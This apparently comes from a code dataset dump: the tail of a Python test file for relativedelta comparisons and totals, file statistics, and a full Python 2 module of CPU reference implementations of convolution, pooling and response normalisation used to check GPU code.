self.assertEqual(expected, actual)
def test_le_positive(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=2)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta <= threshold
# Assert
self.assertEqual(expected, actual)
# Arrange
delta = dateutil.relativedelta(years=1, months=6)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta <= threshold
# Assert
self.assertEqual(expected, actual)
def test_ge_negative(self):
# Arrange
delta = dateutil.relativedelta(years=2)
threshold = dateutil.relativedelta(years=2, seconds=1)
expected = False
# Act
actual = delta >= threshold
# Assert
self.assertEqual(expected, actual)
def test_ge_positive(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=6, seconds=1)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta >= threshold
# Assert
self.assertEqual(expected, actual)
# Arrange
delta = dateutil.relativedelta(years=1, months=6)
threshold = dateutil.relativedelta(years=1, months=6)
expected = True
# Act
actual = delta >= threshold
# Assert
self.assertEqual(expected, actual)
def test_total_hours(self):
# Arrange
delta = dateutil.relativedelta(years=1, months=6)
expected = 13080
# Act
actual = delta.total_hours()
# Assert
self.assertEqual(expected, actual)
def test_total_minutes(self):
# Arrange
delta = dateutil.relativedelta(hours=10)
expected = 600
# Act
actual = delta.total_minutes()
# Assert
self.assertEqual(expected, actual)
def test_total_seconds(self):
# Arrange
delta = dateutil.relativedelta(hours=10, minutes=10, seconds=1)
expected = 36601
# Act
actual = delta.total_seconds()
# Assert
self.assertEqual(expected, actual)
| 24.307263
| 71
| 0.592737
| 427
| 4,351
| 5.981265
| 0.096019
| 0.222005
| 0.254503
| 0.222005
| 0.904464
| 0.89076
| 0.890368
| 0.849648
| 0.810885
| 0.768598
| 0
| 0.021982
| 0.320386
| 4,351
| 178
| 72
| 24.44382
| 0.841731
| 0.065272
| 0
| 0.709302
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.174419
| 1
| 0.127907
| false
| 0
| 0.023256
| 0
| 0.162791
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
86436493f835142072919b3d776b745e54f330bf
| 31,841
|
py
|
Python
|
py/conv_cpu.py
|
avdmitry/convnet
|
4ae77c04e898643bb476e0604fab5682f23069d7
|
[
"BSD-2-Clause"
] | 293
|
2015-01-01T12:23:24.000Z
|
2022-03-28T19:34:17.000Z
|
py/conv_cpu.py
|
weilaiyxj/convnet
|
4ae77c04e898643bb476e0604fab5682f23069d7
|
[
"BSD-2-Clause"
] | 16
|
2015-01-05T17:46:04.000Z
|
2017-08-13T17:20:26.000Z
|
py/conv_cpu.py
|
weilaiyxj/convnet
|
4ae77c04e898643bb476e0604fab5682f23069d7
|
[
"BSD-2-Clause"
] | 181
|
2015-01-04T18:06:45.000Z
|
2021-07-30T05:37:36.000Z
|
"""Convolution methods on CPU."""
# These are extremely slow.
# Their main purpose is testing fast GPU implementations.
import numpy as np
def DivUp(a, b):
return (a + b - 1) / b
def ConvUp(images, filters, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
input_data = np.zeros((num_images, kernel_size_x * kernel_size_y * num_input_channels), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
offset = y_pos * num_modules_x + x_pos
for c in xrange(num_input_channels):
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_index = (c * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = (c * image_size_y + y) * image_size_x + x
input_data[:, input_data_index] = images[:, images_index]
output_data = np.dot(input_data, filters.T)
for c in xrange(num_output_channels):
output[:, offset + c * num_modules_x * num_modules_y] = output_data[:, c]
return output
def ConvDown(derivs, filters, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
deriv = np.zeros((num_images, num_output_channels), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
offset = y_pos * num_modules_x + x_pos
for c in xrange(num_output_channels):
deriv[:, c] = derivs[:, offset + c * num_modules_x * num_modules_y]
d_input = np.dot(deriv, filters)
for c in xrange(num_input_channels):
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_index = (c * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = (c * image_size_y + y) * image_size_x + x
output[:, images_index] += d_input[:, input_data_index]
return output
def ConvOutp(images, derivs, image_shape, conv_spec, partial_sum_y=0, partial_sum_x=0):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
if partial_sum_x == 0:
partial_sum_x = num_modules_x
if partial_sum_y == 0:
partial_sum_y = num_modules_y
partial_sum_locs_x = DivUp(num_modules_x, partial_sum_x)
partial_sum_locs_y = DivUp(num_modules_y, partial_sum_y)
input_size = kernel_size_y * kernel_size_x * num_input_channels
output = np.zeros((num_output_channels, input_size), dtype=np.float32)
output2 = np.zeros((num_output_channels, input_size), dtype=np.float32)
output_psums = np.zeros((num_output_channels, input_size * partial_sum_locs_x * partial_sum_locs_y), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
input_data = np.zeros((num_images, input_size), dtype=np.float32)
deriv_data = np.zeros((num_images, num_output_channels), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
offset = y_pos * num_modules_x + x_pos
for c in xrange(num_input_channels):
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_index = (c * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = (c * image_size_y + y) * image_size_x + x
input_data[:, input_data_index] = images[:, images_index]
for c in xrange(num_output_channels):
deriv_data[:, c] = derivs[:, offset + c * num_modules_x * num_modules_y]
partial_sum_id_y = y_pos / partial_sum_y
partial_sum_id_x = x_pos / partial_sum_x
partial_sum_id = partial_sum_id_y * partial_sum_locs_x + partial_sum_id_x
outp = np.dot(deriv_data.T, input_data)
output_psums[:, partial_sum_id * input_size : (partial_sum_id + 1) * input_size] += outp
output += outp
for partial_sum_id_y in xrange(partial_sum_locs_y):
for partial_sum_id_x in xrange(partial_sum_locs_x):
partial_sum_id = partial_sum_id_y * partial_sum_locs_x + partial_sum_id_x
output2 += output_psums[:, partial_sum_id * input_size : (partial_sum_id + 1) * input_size]
if not np.allclose(output2, output):
print 'Error', np.abs(output - output2).max()
print output
print output2
return output, output_psums
def MaxPool(images, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
offset = y_pos * num_modules_x + x_pos
for c in xrange(num_input_channels):
input_data = np.zeros(num_images, dtype=np.float32) - np.inf
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = (c * image_size_y + y) * image_size_x + x
input_data = np.maximum(input_data, images[:, images_index])
output[:, offset + c * num_modules_x * num_modules_y] = input_data
return output
def MaxPool3D(images, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels * num_modules_t), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_t = t_pos * stride_t - padding_t
start_y = y_pos * stride_y - padding_y
start_x = x_pos * stride_x - padding_x
offset = (t_pos * num_output_channels * num_modules_y + y_pos) * num_modules_x + x_pos
for c in xrange(num_input_channels):
input_data = np.zeros(num_images, dtype=np.float32) - np.inf
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
input_data = np.maximum(input_data, images[:, images_index])
output[:, offset + c * num_modules_x * num_modules_y] = input_data
return output
def AvgPool3D(images, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels * num_modules_t), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_t = t_pos * stride_t - padding_t
start_y = y_pos * stride_y - padding_y
start_x = x_pos * stride_x - padding_x
offset = (t_pos * num_output_channels * num_modules_y + y_pos) * num_modules_x + x_pos
for c in xrange(num_input_channels):
input_data = np.zeros(num_images, dtype=np.float32)
region_size = 0
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
input_data += images[:, images_index]
region_size += 1
output[:, offset + c * num_modules_x * num_modules_y] = input_data / region_size
return output
def AvgPool(images, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
offset = y_pos * num_modules_x + x_pos
for c in xrange(num_input_channels):
input_data = np.zeros(num_images, dtype=np.float32)
region_size = 0
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = (c * image_size_y + y) * image_size_x + x
input_data += images[:, images_index]
region_size += 1
output[:, offset + c * num_modules_x * num_modules_y] = input_data / region_size
return output
def MaxPoolUndo(images, maxes, derivs, image_shape, deriv_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros(images.shape, dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
for c in xrange(num_input_channels):
offset = x_pos + num_modules_x * (y_pos + num_modules_y * c)
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = (c * image_size_y + y) * image_size_x + x
for i in xrange(num_images):
if images[i, images_index] == maxes[i, offset]:
output[i, images_index] += derivs[i, offset]
return output
def MaxPoolRprop(images, R_images, maxes, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros(maxes.shape, dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
for c in xrange(num_input_channels):
offset = x_pos + num_modules_x * (y_pos + num_modules_y * c)
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = (c * image_size_y + y) * image_size_x + x
for i in xrange(num_images):
if images[i, images_index] == maxes[i, offset]:
output[i, offset] += R_images[i, images_index]
return output
def MaxPool3DUndo(images, maxes, derivs, image_shape, deriv_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros(images.shape, dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
start_t = t_pos * stride_t - padding_t
for c in xrange(num_input_channels):
offset = ((t_pos * num_output_channels + c) * num_modules_y + y_pos) * num_modules_x + x_pos
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
for i in xrange(num_images):
if images[i, images_index] == maxes[i, offset]:
output[i, images_index] += derivs[i, offset]
return output
def AvgPool3DUndo(derivs, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
assert (num_output_channels == num_input_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels * image_size_t), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
start_t = t_pos * stride_t - padding_t
end_y = start_y + kernel_size_y
end_x = start_x + kernel_size_x
end_t = start_t + kernel_size_t
start2_y = min(max(start_y, 0), image_size_y)
start2_x = min(max(start_x, 0), image_size_x)
start2_t = min(max(start_t, 0), image_size_t)
end_y = min(max(end_y, 0), image_size_y)
end_x = min(max(end_x, 0), image_size_x)
end_t = min(max(end_t, 0), image_size_t)
region_size = (end_y - start2_y) * (end_x - start2_x) * (end_t - start2_t)
for c in xrange(num_input_channels):
offset = ((t_pos * num_output_channels + c) * num_modules_y + y_pos) * num_modules_x + x_pos
for t in xrange(start2_t, end_t):
for y in xrange(start2_y, end_y):
for x in xrange(start2_x, end_x):
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
output[:, images_index] += derivs[:, offset] / region_size
return output
def AvgPoolUndo(derivs, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
num_output_channels, kernel_size_y, kernel_size_x, stride_y, stride_x, padding_y, padding_x = conv_spec
assert (num_input_channels == num_output_channels)
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels), dtype=np.float32)
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
end_y = start_y + kernel_size_y
end_x = start_x + kernel_size_x
start2_y = min(max(start_y, 0), image_size_y)
start2_x = min(max(start_x, 0), image_size_x)
end_y = min(max(end_y, 0), image_size_y)
end_x = min(max(end_x, 0), image_size_x)
region_size = (end_y - start2_y) * (end_x - start2_x)
for c in xrange(num_input_channels):
offset = (c * num_modules_y + y_pos) * num_modules_x + x_pos
for y in xrange(start2_y, end_y):
for x in xrange(start2_x, end_x):
images_index = (c * image_size_y + y) * image_size_x + x
output[:, images_index] += derivs[:, offset] / region_size
return output
def GetBounds(i, numF, num_channels, blocked):
if blocked:
startPos = (i / numF) * numF
else:
startPos = i - numF/2
endPos = min(startPos + numF, num_channels)
startPos = max(0, startPos)
return startPos, endPos
def GetBoundsInv(i, numF, num_channels, blocked):
"""Return the set of filters such that i appears in their normalization group."""
if blocked:
startPos = (i / numF) * numF
else:
startPos = i - numF + numF/2 + 1
endPos = min(startPos + numF, num_channels)
startPos = max(0, startPos)
return startPos, endPos
def ComputeDenoms(data, numF, blocked, addScale):
denoms = np.zeros(data.shape, dtype=data.dtype)
num_images, num_channels = data.shape
for i in xrange(num_channels):
startPos, endPos = GetBounds(i, numF, num_channels, blocked)
for j in xrange(startPos, endPos):
denoms[:, i] += data[:, j]**2
denoms = 1 + addScale * denoms
return denoms
def ResponseNormCrossMap(images, image_shape, numF, add_scale, pow_scale, blocked):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels), dtype=np.float32)
for y_pos in xrange(image_size_y):
for x_pos in xrange(image_size_x):
this_loc_all_channels = np.zeros((num_images, num_input_channels), dtype=np.float32)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
this_loc_all_channels[:, c] = images[:, loc_id]
denoms = ComputeDenoms(this_loc_all_channels, numF, blocked, add_scale)
this_loc_all_channels *= np.power(denoms, -pow_scale)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
output[:, loc_id] = this_loc_all_channels[:, c]
return output
def ResponseNormCrossMapUndo(derivs, images, image_shape, numF, add_scale, pow_scale, blocked):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels), dtype=np.float32)
for y_pos in xrange(image_size_y):
for x_pos in xrange(image_size_x):
this_loc_all_channels_data = np.zeros((num_images, num_input_channels), dtype=np.float32)
this_loc_all_channels_deriv = np.zeros((num_images, num_input_channels), dtype=np.float32)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
this_loc_all_channels_data[:, c] = images[:, loc_id]
this_loc_all_channels_deriv[:, c] = derivs[:, loc_id]
denoms = ComputeDenoms(this_loc_all_channels_data, numF, blocked, add_scale)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
startPos, endPos = GetBoundsInv(c, numF, num_input_channels, blocked)
output[:, loc_id] = this_loc_all_channels_deriv[:, c] * np.power(denoms[:, c], -pow_scale) \
- 2 * add_scale * pow_scale * this_loc_all_channels_data[:, c] * \
(this_loc_all_channels_deriv[:, startPos:endPos] \
* this_loc_all_channels_data[:, startPos:endPos] \
* np.power(denoms[:, startPos:endPos], -pow_scale-1)).sum(axis=1)
return output
def ResponseNormCrossMapRprop(images, derivs, image_shape, numF, add_scale, pow_scale, blocked):
num_images, image_size_x, image_size_y, num_input_channels = image_shape
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels), dtype=np.float32)
for y_pos in xrange(image_size_y):
for x_pos in xrange(image_size_x):
this_loc_all_channels_data = np.zeros((num_images, num_input_channels), dtype=np.float32)
this_loc_all_channels_deriv = np.zeros((num_images, num_input_channels), dtype=np.float32)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
this_loc_all_channels_data[:, c] = images[:, loc_id]
this_loc_all_channels_deriv[:, c] = derivs[:, loc_id]
denoms = ComputeDenoms(this_loc_all_channels_data, numF, blocked, add_scale)
for c in xrange(num_input_channels):
loc_id = x_pos + image_size_x * (y_pos + image_size_y * c)
startPos, endPos = GetBounds(c, numF, num_input_channels, blocked)
output[:, loc_id] = this_loc_all_channels_deriv[:, c] * np.power(denoms[:, c], -pow_scale) \
- 2 * add_scale * pow_scale * this_loc_all_channels_data[:, c] * \
np.power(denoms[:, c], -pow_scale-1) * \
(this_loc_all_channels_deriv[:, startPos:endPos] \
* this_loc_all_channels_data[:, startPos:endPos]).sum(axis=1)
return output
def ConvUp3D(images, filters, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros((num_images, num_modules_x * num_modules_y * num_output_channels * num_modules_t), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
input_data = np.zeros((num_images, kernel_size_x * kernel_size_y * num_input_channels * kernel_size_t), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
start_t = t_pos * stride_t - padding_t
for c in xrange(num_input_channels):
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_t = t - start_t
input_data_index = ((input_data_t * num_input_channels + c) * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
input_data[:, input_data_index] = images[:, images_index]
output_data = np.dot(input_data, filters.T)
for c in xrange(num_output_channels):
offset = ((t_pos * num_output_channels + c) * num_modules_y + y_pos) * num_modules_x + x_pos
output[:, offset] = output_data[:, c]
return output
def ConvDown3D(derivs, filters, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
output = np.zeros((num_images, image_size_x * image_size_y * num_input_channels * image_size_t), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
deriv = np.zeros((num_images, num_output_channels), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
start_t = t_pos * stride_t - padding_t
for c in xrange(num_output_channels):
offset = ((t_pos * num_output_channels + c) * num_modules_y + y_pos) * num_modules_x + x_pos
deriv[:, c] = derivs[:, offset]
d_input = np.dot(deriv, filters)
for c in xrange(num_input_channels):
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_t = t - start_t
input_data_index = ((input_data_t * num_input_channels + c) * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
output[:, images_index] += d_input[:, input_data_index]
return output
def ConvOutp3D(images, derivs, image_shape, conv_spec):
num_images, image_size_x, image_size_y, num_input_channels, image_size_t = image_shape
num_output_channels, kernel_size_y, kernel_size_x, kernel_size_t, stride_y, stride_x, stride_t, padding_y, padding_x, padding_t = conv_spec
num_modules_y = (image_size_y + 2 * padding_y - kernel_size_y) / stride_y + 1
num_modules_x = (image_size_x + 2 * padding_x - kernel_size_x) / stride_x + 1
num_modules_t = (image_size_t + 2 * padding_t - kernel_size_t) / stride_t + 1
input_size = kernel_size_y * kernel_size_x * num_input_channels * kernel_size_t
output = np.zeros((num_output_channels, input_size), dtype=np.float32)
for t_pos in xrange(num_modules_t):
for y_pos in xrange(num_modules_y):
for x_pos in xrange(num_modules_x):
input_data = np.zeros((num_images, input_size), dtype=np.float32)
deriv = np.zeros((num_images, num_output_channels), dtype=np.float32)
start_x = x_pos * stride_x - padding_x
start_y = y_pos * stride_y - padding_y
start_t = t_pos * stride_t - padding_t
for c in xrange(num_input_channels):
for t in xrange(start_t, start_t + kernel_size_t):
if t < 0 or t >= image_size_t:
continue
for y in xrange(start_y, start_y + kernel_size_y):
if y < 0 or y >= image_size_y:
continue
for x in xrange(start_x, start_x + kernel_size_x):
if x < 0 or x >= image_size_x:
continue
input_data_x = x - start_x
input_data_y = y - start_y
input_data_t = t - start_t
input_data_index = ((input_data_t * num_input_channels + c) * kernel_size_y + input_data_y) * kernel_size_x + input_data_x
images_index = ((t * num_input_channels + c) * image_size_y + y) * image_size_x + x
input_data[:, input_data_index] = images[:, images_index]
for c in xrange(num_output_channels):
offset = ((t_pos * num_output_channels + c) * num_modules_y + y_pos) * num_modules_x + x_pos
deriv[:, c] = derivs[:, offset]
output += np.dot(deriv.T, input_data)
return output
| 49.137346
| 141
| 0.669734
| 5,139
| 31,841
| 3.724849
| 0.025881
| 0.087452
| 0.042315
| 0.027061
| 0.935639
| 0.924303
| 0.907429
| 0.902309
| 0.897085
| 0.895257
| 0
| 0.00996
| 0.240036
| 31,841
| 647
| 142
| 49.213292
| 0.781098
| 0.002544
| 0
| 0.842491
| 0
| 0
| 0.000158
| 0
| 0
| 0
| 0
| 0
| 0.016484
| 0
| null | null | 0
| 0.001832
| null | null | 0.005495
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
86ade2ac5f2e4099beb516deda1570d7007e65fb
| 388,413
|
py
|
Python
|
source/deepsecurity/models/policy_settings.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-10-30T16:40:09.000Z
|
